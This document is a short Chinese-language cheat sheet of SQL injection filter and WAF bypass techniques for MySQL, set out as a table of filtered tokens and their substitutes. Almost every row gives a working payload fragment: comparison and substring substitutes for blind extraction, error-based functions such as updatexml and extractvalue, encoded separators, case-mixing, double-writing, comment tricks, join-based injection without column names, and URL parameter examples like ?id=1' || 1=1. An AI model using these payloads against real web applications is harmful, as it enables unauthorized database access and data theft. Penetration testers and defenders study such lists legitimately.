2023.2.1
Ps:bypass 更多的还是靠个人经验,以下只是个人经验分享,并不绝对和完整,还请在实战中积累属于自己的 bypass 体系
ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ ዽ ጿ ኈ ቼ
过滤符号 (等效替换) | 可以尝试使用 | 示例 | 备注 | |||||||||||
= | <,>,<> | ascii(substr(database(),1,1))>97 | ||||||||||||
like | database() like 'a%' | |||||||||||||
rlike,regexp | database() rlike '^a' | 正则写法与java一致 | ||||||||||||
in | mid(database(),1,1) in ('a','b','c') | 是一个集合 | ||||||||||||
between | mid(database(),1,1) between 'a' and 'z' | 'a' <= x <= 'z',是一个闭区间 | ||||||||||||
截取函数 | mid(),substr() | mid(database(),1,1)='a' | ||||||||||||
left(),right() | left(database(),1)='a' | |||||||||||||
locate() | locate('a',database(),1)=1 | 通过定位来猜测字符的存在和位置 locate(str1,str2[,pos]) position(str1 in str2) instr(str2,str1) | ||||||||||||
position() | position('a' in database())=1 | |||||||||||||
instr() | instr(database(),'a')=1 | |||||||||||||
lpad(),rpad() | lpad(database(),5,'~') | 用于字符串前后填充特定字符 | ||||||||||||
substring_index() | substring_index(database(),'~',1) | |||||||||||||
报错函数 | updatexml() | updatexml(1,concat('~',database(),'~'),1) | ||||||||||||
extractvalue() | extractvalue(1,concat('~',database(),'~')) | |||||||||||||
gtid_subset() | gtid_subset(database(),1) | |||||||||||||
exp() | if(1=1,exp(709),exp(710)) | 超过709会引发报错 | ||||||||||||
, | %2c | mid(database()%2c1%2c1)='a' | ||||||||||||
from ... for ... | mid(database() from 1 for 1)='a' | |||||||||||||
from | mid(database() from 1) | |||||||||||||
length() | like | database() like '_____' | 用下划线的个数来猜测数据长度 | |||||||||||
and | %26%26,&&,like | ?id=1' like 1=1 | ||||||||||||
or | %7c%7c,|| | ?id=1' %7c%7c 1=1 | ||||||||||||
user() |
| select current_user() | ||||||||||||
database() | schema() | select schema() | ||||||||||||
column | join无列名注入 | 1'|| extractvalue(1,concat('~',(select * from (select * from 表名 a join 表名 b)c)))# | ||||||||||||
关键字被过滤时 | 大小写绕过 | mId(DAtAbASe(),1,1)='a' | ||||||||||||
双写绕过 | mimidd(databdatabasease(),1,1)='a' | 针对只过滤一次的情况 | ||||||||||||
编码绕过 | URLEncode,ASCII,HEX,unicode | |||||||||||||
穿插% | mi%d(dat%aba%se(),1,1)='a' | |||||||||||||
注释符绕过 | select /*!50000database()*/ |
| ||||||||||||
and/or+空格被替换为空时 | andand+空格 | andand 1=1 | ||||||||||||
空格 | /**/ | select/**/database() |